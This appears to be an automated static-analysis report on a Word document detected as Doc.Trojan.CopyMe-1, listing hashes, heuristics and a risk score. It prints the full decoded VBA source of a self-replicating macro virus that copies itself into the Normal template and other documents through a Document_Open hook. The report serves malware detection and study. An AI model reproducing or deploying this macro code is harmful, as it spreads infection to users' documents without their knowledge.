Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b303748608fc73f9…

MALICIOUS

Office (OLE)

25.5 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2015-10-06
MD5: b433c06c66c59ac3d38b6f05b3f3e570 SHA-1: 1ad8a708f4a7b6cc8b36683db00e2a172c98d942 SHA-256: b303748608fc73f9b49e008e3f1872fa5746b3e269ddfc1b80fa4222d158f2de
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.CopyMe-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CopyMe-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            d.insertlines d.countoflines + 1, m.lines(m.procbodyline("CopyMe", vbext_pk_proc), m.proccountlines("CopyMe", vbext_pk_proc))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
            y = d.procbodyline("Document_Open", vb_pk_proc)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1140 bytes
SHA-256: 4357e7885c19a9ce82a9d266b5fc69c76a11b08571cd939d08737ec3008dfa33
Detection
ClamAV: Doc.Trojan.CopyMe-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub CopyMe()
    On Error Resume Next

    Set m = MacroContainer.VBProject.VBComponents(1).CodeModule
    Set d = IIf(MacroContainer Is NormalTemplate, ActiveDocument.VBProject.VBComponents(1).CodeModule, NormalTemplate.VBProject.VBComponents(1).CodeModule)
    
    x = d.procbodyline("CopyMe", vbext_pk_proc)
    If IsEmpty(x) Then
        d.insertlines d.countoflines + 1, m.lines(m.procbodyline("CopyMe", vbext_pk_proc), m.proccountlines("CopyMe", vbext_pk_proc))

        y = d.procbodyline("Document_Open", vb_pk_proc)
        If IsEmpty(y) Then
            d.insertlines d.countoflines + 1, vbCrLf & "Private Sub Document_Open()" & vbCrLf & "    CopyMe" & vbCrLf & "End Sub"
        Else
            d.insertlines y + 1, "    CopyMe"
        End If
    End If
End Sub

Private Sub Document_Open()
    CopyMe
End Sub